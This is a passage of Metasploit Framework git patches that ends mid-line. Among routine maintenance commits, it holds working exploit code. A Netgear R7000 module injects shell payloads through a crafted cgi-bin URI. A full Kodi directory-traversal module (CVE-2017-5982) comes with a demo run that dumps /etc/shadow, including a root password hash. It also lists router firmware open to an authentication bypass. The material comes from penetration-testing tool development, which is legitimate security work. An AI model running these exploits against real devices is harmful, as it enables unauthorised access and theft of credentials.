TD-W8101G - V3_120213 -47. TP-Link TD-W8101G - V3_120604 -48. TP-Link TD-W8151N - V3_120530 -49. TP-Link TD-W8901G - V1_080522 -50. TP-Link TD-W8901G - V1,2_080522 -51. TP-Link TD-W8901G - V2_090113_Turkish -52. TP-Link TD-W8901G - V3_140512 -53. TP-Link TD-W8901G - V3_100603 -54. TP-Link TD-W8901G - V3_100702_TR -55. TP-Link TD-W8901G - V3_100901 -56. TP-Link TD-W8901G - V6_110119 -57. TP-Link TD-W8901G - V6_110915 -58. TP-Link TD-W8901G - V6_120418 -59. TP-Link TD-W8901G - V6_120213 -60. TP-Link TD-W8901GB - V3_100727 -61. TP-Link TD-W8901GB - V3_100820 -62. TP-Link TD-W8901N - V1_111211 -63. TP-Link TD-W8951ND - V1_101124,100723,100728 -64. TP-Link TD-W8951ND - V1_110907 -65. TP-Link TD-W8951ND - V1_111125 -66. TP-Link TD-W8951ND - V3.0_110729_FI -67. TP-Link TD-W8951ND - V3_110721 -68. TP-Link TD-W8951ND - V3_20110729_FI -69. TP-Link TD-W8951ND - V4_120511 -70. TP-Link TD-W8951ND - V4_120607 -71. TP-Link TD-W8951ND - V4_120912_FL -72. TP-Link TD-W8961NB - V1_110107 -73. TP-Link TD-W8961NB - V1_110519 -74. TP-Link TD-W8961NB - V2_120319 -75. TP-Link TD-W8961NB - V2_120823 -76. TP-Link TD-W8961ND - V1_100722,101122 -77. TP-Link TD-W8961ND - V1_101022_TR -78. TP-Link TD-W8961ND - V1_111125 -79. TP-Link TD-W8961ND - V2_120427 -80. TP-Link TD-W8961ND - V2_120710_UK -81. TP-Link TD-W8961ND - V2_120723_FI -82. TP-Link TD-W8961ND - V3_120524,120808 -83. TP-Link TD-W8961ND - V3_120830 -84. ZyXEL P-660R-T3 - 3.40(BOQ.0)C0 -85. ZyXEL P-660RU-T3 - 3.40(BJR.0)C0 +The following devices and firmware versions are known to be vulnerable: -## Verification Steps + * Azmoon AZ-D140W - 2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1 + * Billion BiPAC 5102S - Av2.7.0.23 (UE0.B1C) + * Billion BiPAC 5102S - Bv2.7.0.23 (UE0.B1C) + * Billion BiPAC 5200 - 2.11.84.0(UE2.C2)3.11.11.6 + * Billion BiPAC 5200 - 2_11_62_2_ UE0.C2D_3_10_16_0 + * Billion BiPAC 5200A - 2_10_5 _0(RE0.C2)3_6_0_0 + * Billion BiPAC 5200A - 2_11_38_0 (RE0.C29)3_10_5_0 + * Billion BiPAC 5200GR4 - 2.11.91.0(RE2.C29)3.11.11.52 + * Billion BiPAC 5200SRD - 2.10.5.0 (UE0.C2C) 3.6.0.0 + * Billion BiPAC 5200SRD - 2.12.17.0_UE2.C3_3.12.17.0 + * Billion BiPAC 5200SRD - 2_11_62_2(UE0.C3D)3_11_11_22 + * D-Link DSL-2520U - Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL + * D-Link DSL-2600U - Z1_DSL-2600U + * D-Link DSL-2600U - Z2_V1.08_ras + * TP-Link TD-8616 - V2_080513 + * TP-Link TD-8816 - V4_100528_Russia + * TP-Link TD-8816 - V4_100524 + * TP-Link TD-8816 - V5_100528_Russia + * TP-Link TD-8816 - V5_100524 + * TP-Link TD-8816 - V5_100903 + * TP-Link TD-8816 - V6_100907 + * TP-Link TD-8816 - V7_111103 + * TP-Link TD-8816 - V7_130204 + * TP-Link TD-8817 - V5_100524 + * TP-Link TD-8817 - V5_100702_TR + * TP-Link TD-8817 - V5_100903 + * TP-Link TD-8817 - V6_100907 + * TP-Link TD-8817 - V6_101221 + * TP-Link TD-8817 - V7_110826 + * TP-Link TD-8817 - V7_130217 + * TP-Link TD-8817 - V7_120509 + * TP-Link TD-8817 - V8_140311 + * TP-Link TD-8820 - V3_091223 + * TP-Link TD-8840T - V1_080520 + * TP-Link TD-8840T - V2_100525 + * TP-Link TD-8840T - V2_100702_TR + * TP-Link TD-8840T - V2_090609 + * TP-Link TD-8840T - V3_101208 + * TP-Link TD-8840T - V3_110221 + * TP-Link TD-8840T - V3_120531 + * TP-Link TD-W8101G - V1_090107 + * TP-Link TD-W8101G - V1_090107 + * TP-Link TD-W8101G - V2_100819 + * TP-Link TD-W8101G - V2_101015_TR + * TP-Link TD-W8101G - V2_101101 + * TP-Link TD-W8101G - V3_110119 + * TP-Link TD-W8101G - V3_120213 + * TP-Link TD-W8101G - V3_120604 + * TP-Link TD-W8151N - V3_120530 + * TP-Link TD-W8901G - V1_080522 + * TP-Link TD-W8901G - V1,2_080522 + * TP-Link TD-W8901G - V2_090113_Turkish + * TP-Link TD-W8901G - V3_140512 + * TP-Link TD-W8901G - V3_100603 + * TP-Link TD-W8901G - V3_100702_TR + * TP-Link TD-W8901G - V3_100901 + * TP-Link TD-W8901G - V6_110119 + * TP-Link TD-W8901G - V6_110915 + * TP-Link TD-W8901G - V6_120418 + * TP-Link TD-W8901G - V6_120213 + * TP-Link TD-W8901GB - V3_100727 + * TP-Link TD-W8901GB - V3_100820 + * TP-Link TD-W8901N - V1_111211 + * TP-Link TD-W8951ND - V1_101124,100723,100728 + * TP-Link TD-W8951ND - V1_110907 + * TP-Link TD-W8951ND - V1_111125 + * TP-Link TD-W8951ND - V3.0_110729_FI + * TP-Link TD-W8951ND - V3_110721 + * TP-Link TD-W8951ND - V3_20110729_FI + * TP-Link TD-W8951ND - V4_120511 + * TP-Link TD-W8951ND - V4_120607 + * TP-Link TD-W8951ND - V4_120912_FL + * TP-Link TD-W8961NB - V1_110107 + * TP-Link TD-W8961NB - V1_110519 + * TP-Link TD-W8961NB - V2_120319 + * TP-Link TD-W8961NB - V2_120823 + * TP-Link TD-W8961ND - V1_100722,101122 + * TP-Link TD-W8961ND - V1_101022_TR + * TP-Link TD-W8961ND - V1_111125 + * TP-Link TD-W8961ND - V2_120427 + * TP-Link TD-W8961ND - V2_120710_UK + * TP-Link TD-W8961ND - V2_120723_FI + * TP-Link TD-W8961ND - V3_120524,120808 + * TP-Link TD-W8961ND - V3_120830 + * ZyXEL P-660R-T3 - 3.40(BOQ.0)C0 + * ZyXEL P-660RU-T3 - 3.40(BJR.0)C0 - 1. Start msfconsole - 2. Do: ```use auxiliary/admin/http/allegro_rompager_auth_bypass``` - 3. Do: ```set rhost <ip>``` - 4. Do: ```set rport <port>``` - 5. Do: ```run``` - 6. You should be able to login into the device without authentication - -## Scenarios +## Module usage + + This is an example run against TP-Link TD-8817 router: - Example run against TP-Link TD-8817: ``` -msf > use auxiliary/admin/http/allegro_rompager_auth_bypass +msf > use auxiliary/admin/http/allegro_rompager_auth_bypass msf auxiliary(allegro_rompager_auth_bypass) > show options Module options (auxiliary/admin/http/allegro_rompager_auth_bypass): From 86c04cd9f42c2b870887899a3f574a7e4555b737 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 17 Feb 2017 18:52:14 -0600 Subject: [PATCH 205/426] update metasploit payloads with Python fixes --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 78e232849a..ca54bd9185 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -14,7 +14,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.2.11) + metasploit-payloads (= 1.2.14) metasploit_data_models metasploit_payloads-mettle (= 0.1.7) msgpack @@ -169,7 +169,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.2.11) + metasploit-payloads (1.2.14) metasploit_data_models (2.0.14) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 9ebba5bfb9..1d985f324b 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -65,7 +65,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.2.11' + spec.add_runtime_dependency 'metasploit-payloads', '1.2.14' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7' # Needed by msfgui and other rpc components From ef2fff798e2fa37008bb5c342886386d62078fe1 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 17 Feb 2017 18:57:02 -0600 Subject: [PATCH 206/426] update sizes --- modules/payloads/singles/python/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_https.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_tcp.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index d20184ab7e..a3fcc1aa9c 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51594 + CachedSize = 51794 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 27aaa79175..cd25b0ac8f 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51558 + CachedSize = 51758 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 0b8f9c5e7b..43e6c7353c 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51558 + CachedSize = 51758 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 63e1f1176c..6f208583f8 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51510 + CachedSize = 51714 include Msf::Payload::Single include Msf::Payload::Python From 647020289fb8cace0be753f07845e888aa4e0b17 Mon Sep 17 00:00:00 2001 From: Metasploit <metasploit@rapid7.com> Date: Fri, 17 Feb 2017 17:03:42 -0800 Subject: [PATCH 207/426] Bump version of framework to 4.13.25 --- Gemfile.lock | 2 +- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index ca54bd9185..49f2e7d0fb 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.13.24) + metasploit-framework (4.13.25) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index a398e5921b..0721014c2a 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.13.24" + VERSION = "4.13.25" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 189d5dc005169ff3bb2c4998097fbdc0b4ef82ad Mon Sep 17 00:00:00 2001 From: Carter <cbawsome77@gmail.com> Date: Sat, 18 Feb 2017 00:15:45 -0500 Subject: [PATCH 208/426] Thanks netgear --- .../linux/http/netgear_r7000_cgibin_exec.rb | 22 +++++++++++++------ 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb index 1b38fd8008..e9e4f3e55e 100644 --- a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb +++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Space' => 1024, 'DisableNops' => true, - 'BadChars' => "\x20" + 'BadChars' => "\x20" } )) @@ -78,15 +78,23 @@ class MetasploitModule < Msf::Exploit::Remote end end - # Mostly from ddwrt_cgibin_exec.rb, it's essentially the same exploit def exploit - is_vuln = check - cmd = payload.encoded # .unpack("C*").map{|c| "\\x%.2x" % c}.join - #str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&" + check + + pe = payload.encoded + pe.to_s + pe.gsub!('{','') + pe.gsub!('}','') + + #cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join + #str = "echo$IFS-ne$IFS\"#{cmd}\"|/bin/sh&" print_status('Sending encoded command...') - vprint_status("Encoded command: #{cmd}") - send_request_cgi({ 'uri' => "/cgi-bin/;#{cmd}" }) + vprint_status("Encoded command: #{pe}") + send_request_cgi({ + 'uri' => "/cgi-bin/;#{pe}", + 'method' => 'GET' + }) print_status('Giving the handler time to run...') handler From e99ba0ea865fd0ad56fe71bb3102680dc14698cc Mon Sep 17 00:00:00 2001 From: Carter <cbawsome77@gmail.com> Date: Sat, 18 Feb 2017 00:34:49 -0500 Subject: [PATCH 209/426] Msftidy stuff --- .../linux/http/netgear_r7000_cgibin_exec.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb index e9e4f3e55e..7d92a857de 100644 --- a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb +++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Space' => 1024, 'DisableNops' => true, - 'BadChars' => "\x20" + 'BadChars' => "\x20" } )) @@ -80,20 +80,20 @@ class MetasploitModule < Msf::Exploit::Remote def exploit check - + pe = payload.encoded pe.to_s pe.gsub!('{','') - pe.gsub!('}','') - + pe.gsub!('}','') + #cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join #str = "echo$IFS-ne$IFS\"#{cmd}\"|/bin/sh&" print_status('Sending encoded command...') vprint_status("Encoded command: #{pe}") - send_request_cgi({ - 'uri' => "/cgi-bin/;#{pe}", - 'method' => 'GET' + send_request_cgi({ + 'uri' => "/cgi-bin/;#{pe}", + 'method' => 'GET' }) print_status('Giving the handler time to run...') From 7d1fadb84f54d0b76d7e2844f118ee39621e8c5a Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Sat, 18 Feb 2017 17:37:49 -0500 Subject: [PATCH 210/426] Add a test module for railgun api calls --- .../stdapi/railgun/def/def_kernel32.rb | 2 +- test/modules/post/test/railgun.rb | 93 +++++++++++++++++++ 2 files changed, 94 insertions(+), 1 deletion(-) create mode 100644 test/modules/post/test/railgun.rb diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb index d7f487b5ea..046de249ab 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb @@ -1419,7 +1419,7 @@ class Def_kernel32 ["DWORD","nSize","in"], ]) - dll.add_function( 'GetModuleHandleA', 'DWORD',[ + dll.add_function( 'GetModuleHandleA', 'HANDLE',[ ["PCHAR","lpModuleName","in"], ]) diff --git a/test/modules/post/test/railgun.rb b/test/modules/post/test/railgun.rb new file mode 100644 index 0000000000..fdc3a041b0 --- /dev/null +++ b/test/modules/post/test/railgun.rb @@ -0,0 +1,93 @@ + +require 'msf/core' + +lib = File.join(Msf::Config.install_root, "test", "lib") +require 'module_test' + +class MetasploitModule < Msf::Post + + include Msf::ModuleTest::PostTest + include Msf::Post::Windows::Railgun + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Railgun API Tests', + 'Description' => %q{ This module will test railgun api functions}, + 'License' => MSF_LICENSE, + 'Author' => [ 'Spencer McIntyre'], + 'Platform' => [ 'windows' ] + )) + end + + def test_api_function_calls + + it "Results should include error information" do + ret = true + result = session.railgun.kernel32.GetCurrentProcess() + ret &&= result['GetLastError'] == 0 + ret &&= result['ErrorMessage'].is_a? String + end + + it "Should support functions with no parameters" do + ret = true + result = session.railgun.kernel32.GetCurrentThread() + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + end + + it "Should support functions with literal parameters" do + ret = true + result = session.railgun.kernel32.Sleep(50) + ret &&= result['GetLastError'] == 0 + end + + it "Should support functions with in/out/inout parameter types" do + ret = true + # DnsHostnameToComputerNameA is ideal because it uses all 3 types see: + # https://msdn.microsoft.com/en-us/library/windows/desktop/ms724244(v=vs.85).aspx + result = session.railgun.kernel32.DnsHostnameToComputerNameA('localhost', 64, 64) + ret &&= result['GetLastError'] == 0 + ret &&= result['ComputerName'].is_a? String + ret &&= result['nSize'].to_i == result['ComputerName'].length + end + + it "Should support reading memory" do + ret = true + result = client.railgun.kernel32.GetModuleHandleA('kernel32') + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + return false unless ret + + handle = result['return'] + mz_header = client.railgun.memread(handle, 4) + ret &&= mz_header == "MZ\x90\x00" + end + + it "Should support writing memory" do + ret = true + result = client.railgun.kernel32.GetProcessHeap() + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + return false unless ret + + buffer_size = 32 + handle = result['return'] + result = client.railgun.kernel32.HeapAlloc(handle, 0, buffer_size) + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + return false unless ret + + buffer_value = Rex::Text.rand_text_alphanumeric(buffer_size) + buffer = result['return'] + ret &&= client.railgun.memwrite(buffer, buffer_value, buffer_size) + ret &&= client.railgun.memread(buffer, buffer_size) == buffer_value + + client.railgun.kernel32.HeapFree(handle, 0, buffer) + ret + end + + end + +end + + From 92c1fa8390b5d84bdd2c3991716473d9e343aa55 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Sat, 18 Feb 2017 20:13:32 -0500 Subject: [PATCH 211/426] remove downcase --- modules/exploits/multi/http/tomcat_mgr_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index a46b62a490..19afb97279 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -419,7 +419,7 @@ class MetasploitModule < Msf::Exploit::Remote origin_type: :service, module_fullname: self.fullname, private_type: :password, - private_data: datastore['HttpPassword'].downcase, + private_data: datastore['HttpPassword'], username: datastore['HttpUsername'] } From 7bd6aff1cf9be9f64e340c9323fca7b2907642ee Mon Sep 17 00:00:00 2001 From: jvoisin <julien.voisin@dustri.org> Date: Sun, 19 Feb 2017 21:33:34 +0100 Subject: [PATCH 212/426] Add a sploit for CVE-2017-5982 --- .../auxiliary/scanner/http/kodi_traversal.md | 40 +++++++++ .../auxiliary/scanner/http/kodi_traversal.rb | 84 +++++++++++++++++++ 2 files changed, 124 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/kodi_traversal.md create mode 100644 modules/auxiliary/scanner/http/kodi_traversal.rb diff --git a/documentation/modules/auxiliary/scanner/http/kodi_traversal.md b/documentation/modules/auxiliary/scanner/http/kodi_traversal.md new file mode 100644 index 0000000000..870de95b28 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/kodi_traversal.md @@ -0,0 +1,40 @@ +## Vulnerable Application + +This module exploits an arbitrary file disclosure vulnerability in Kodi 17.1. + +**Vulnerable Application Installation Steps** + +Grab whatever image from [libreelec](https://libreelec.tv/downloads/) if +you're lazy, or [install kodi from scratch](http://kodi.wiki/view/HOW-TO:Install_Kodi_for_Linux). + +You'll need a version lower than 17.1. + +## Verification Steps + +A successful check of the exploit will look like this: + +``` +msf > use auxiliary/scanner/http/kodi_traversal +msf auxiliary(kodi_traversal) > set RPORT 8080 +RPORT => 8080 +msf auxiliary(kodi_traversal) > set RHOSTS 192.168.0.31 +RHOSTS => 192.168.0.31 +msf auxiliary(kodi_traversal) > run + +[*] Reading '/etc/shadow' +[+] /etc/shadow stored as '/home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin' +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(kodi_traversal) > cat /home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin +[*] exec: cat /home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin + +systemd-network:*::::::: +root:$6$ktSJvEl/p.r7nsR6$.EZhW6/TPiY.7qz.ymYSreJtHcufASE4ykx7osCfBlDXiEKqXoxltsX5fE0mY.494pJOKyuM50QfpLpNKvAPC.::::::: +nobody:*::::::: +dbus:*::::::: +system:*::::::: +sshd:*::::::: +avahi:*::::::: +msf auxiliary(kodi_traversal) > info + +``` diff --git a/modules/auxiliary/scanner/http/kodi_traversal.rb b/modules/auxiliary/scanner/http/kodi_traversal.rb new file mode 100644 index 0000000000..6c32bd9dec --- /dev/null +++ b/modules/auxiliary/scanner/http/kodi_traversal.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kodi 17.1 Local File Inclusion Vulnerability', + 'Description' => %q{ + This module exploits a directory traversal flaw found in Kodi 17.1. + }, + 'References' => + [ + ['CVE', '2017-5982'], + ], + 'Author' => + [ + 'Eric Flokstra', #Original + 'jvoisin' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Feb 12 2017" + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']), + OptString.new('FILE', [true, 'The file to obtain', '/etc/shadow']), + OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) + ], self.class) + end + + + def run_host(ip) + base = normalize_uri(target_uri.path) + + peer = "#{ip}:#{rport}" + + print_status("Reading '#{datastore['FILE']}'") + + traverse = '../' * datastore['DEPTH'] + f = datastore['FILE'] + f = f[1, f.length] if f =~ /^\// + f = "image/image://" + Rex::Text.uri_encode(traverse + f, "hex-all") + + uri = normalize_uri(base, Rex::Text.uri_encode(f, "hex-all")) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + + if res and res.code != 200 + print_error("Unable to read '#{datastore['FILE']}', possibily because:") + print_error("\t1. File does not exist.") + print_error("\t2. No permission.") + + elsif res and res.code == 200 + data = res.body.lstrip + fname = datastore['FILE'] + p = store_loot( + 'kodi', + 'application/octet-stream', + ip, + data, + fname + ) + + vprint_line(data) + print_good("#{fname} stored as '#{p}'") + + else + print_error("Fail to obtain file for some unknown reason") + end + end + +end From 73eed104a9b5d2fa22ffb262b782d224027bba54 Mon Sep 17 00:00:00 2001 From: jvoisin <jvo@nbs-system.com> Date: Mon, 20 Feb 2017 13:22:20 +0100 Subject: [PATCH 213/426] Take into account @h00die's comments. --- .../auxiliary/scanner/http/kodi_traversal.md | 13 +++++++------ modules/auxiliary/scanner/http/kodi_traversal.rb | 8 ++++---- 2 files changed, 11 insertions(+), 10 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/kodi_traversal.md b/documentation/modules/auxiliary/scanner/http/kodi_traversal.md index 870de95b28..8280ebefeb 100644 --- a/documentation/modules/auxiliary/scanner/http/kodi_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/kodi_traversal.md @@ -1,17 +1,18 @@ ## Vulnerable Application -This module exploits an arbitrary file disclosure vulnerability in Kodi 17.1. +This module exploits an arbitrary file disclosure vulnerability in Kodi before 17.1. **Vulnerable Application Installation Steps** Grab whatever image from [libreelec](https://libreelec.tv/downloads/) if -you're lazy, or [install kodi from scratch](http://kodi.wiki/view/HOW-TO:Install_Kodi_for_Linux). +you're lazy, like the [one for the Rpi2](http://releases.libreelec.tv/LibreELEC-RPi2.arm-7.0.3.img.gz), +or [install kodi from scratch](http://kodi.wiki/view/HOW-TO:Install_Kodi_for_Linux). -You'll need a version lower than 17.1. +You'll need a version lower than 17.1 of Kodi. ## Verification Steps -A successful check of the exploit will look like this: +A successful run of the exploit will look like this: ``` msf > use auxiliary/scanner/http/kodi_traversal @@ -19,6 +20,8 @@ msf auxiliary(kodi_traversal) > set RPORT 8080 RPORT => 8080 msf auxiliary(kodi_traversal) > set RHOSTS 192.168.0.31 RHOSTS => 192.168.0.31 +msf auxiliary(kodi_traversal) > set FILE /etc/shadow +FILE => /etc/shadow msf auxiliary(kodi_traversal) > run [*] Reading '/etc/shadow' @@ -35,6 +38,4 @@ dbus:*::::::: system:*::::::: sshd:*::::::: avahi:*::::::: -msf auxiliary(kodi_traversal) > info - ``` diff --git a/modules/auxiliary/scanner/http/kodi_traversal.rb b/modules/auxiliary/scanner/http/kodi_traversal.rb index 6c32bd9dec..b3997770ca 100644 --- a/modules/auxiliary/scanner/http/kodi_traversal.rb +++ b/modules/auxiliary/scanner/http/kodi_traversal.rb @@ -13,9 +13,9 @@ class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Kodi 17.1 Local File Inclusion Vulnerability', + 'Name' => 'Kodi 17.0 Local File Inclusion Vulnerability', 'Description' => %q{ - This module exploits a directory traversal flaw found in Kodi 17.1. + This module exploits a directory traversal flaw found in Kodi before 17.1. }, 'References' => [ @@ -33,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']), - OptString.new('FILE', [true, 'The file to obtain', '/etc/shadow']), + OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']), OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) ], self.class) end @@ -77,7 +77,7 @@ class MetasploitModule < Msf::Auxiliary print_good("#{fname} stored as '#{p}'") else - print_error("Fail to obtain file for some unknown reason") + print_error('Fail to obtain file for some unknown reason') end end From f08478e02f0be46ec3ecd7e2ba39f56c31331ab5 Mon Sep 17 00:00:00 2001 From: Rich Whitcroft <rwhitcroft@gmail.com> Date: Mon, 20 Feb 2017 13:51:07 -0500 Subject: [PATCH 214/426] fix handler persistence --- lib/msf/ui/console/command_dispatcher/jobs.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/ui/console/command_dispatcher/jobs.rb b/lib/msf/ui/console/command_dispatcher/jobs.rb index 75f2f595f8..ac184be4e6 100644 --- a/lib/msf/ui/console/command_dispatcher/jobs.rb +++ b/lib/msf/ui/console/command_dispatcher/jobs.rb @@ -321,7 +321,9 @@ module Msf 'ExitOnSession' => exit_on_session, 'RunAsJob' => true } + handler.datastore.reverse_merge!(payload_datastore) + handler.datastore.merge!(handler_opts) # Launch our Handler and get the Job ID handler.exploit_simple(handler_opts) From 49da6289a971eb079c42c838d1435732c6aa057d Mon Sep 17 00:00:00 2001 From: Jan-Erik Rediger <badboy@archlinux.us> Date: Mon, 20 Feb 2017 21:47:59 +0100 Subject: [PATCH 215/426] Fix typo in smtp fuzzer --- modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb index 4f8e978363..2e89edc31a 100644 --- a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb +++ b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(25), - OptInt.new("STARTLEN", [true, "Lenght of the string - start number", 100] ), + OptInt.new("STARTLEN", [true, "Length of the string - start number", 100] ), OptInt.new("INTERACTIONS", [false, "Number of interactions to run", 100] ), OptBool.new("RESPECTORDER", [false, "Respect order of commands", true] ), OptEnum.new("CMD", [true,"Command to fuzzer",'EHLO', From adf1385427928df00d44df39aff21174f59d809e Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 21 Feb 2017 12:00:01 -0600 Subject: [PATCH 216/426] Fix #7984, Fix NoMethodError `match' for bavision_cameras.rb Fix #7984 --- lib/metasploit/framework/login_scanner/bavision_cameras.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/login_scanner/bavision_cameras.rb b/lib/metasploit/framework/login_scanner/bavision_cameras.rb index fe0e257e15..1fc941e475 100644 --- a/lib/metasploit/framework/login_scanner/bavision_cameras.rb +++ b/lib/metasploit/framework/login_scanner/bavision_cameras.rb @@ -19,7 +19,7 @@ module Metasploit login_uri = normalize_uri("#{uri}") res = send_request({'uri'=> login_uri}) - if res && res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/) + if res && res.headers['WWW-Authenticate'] && 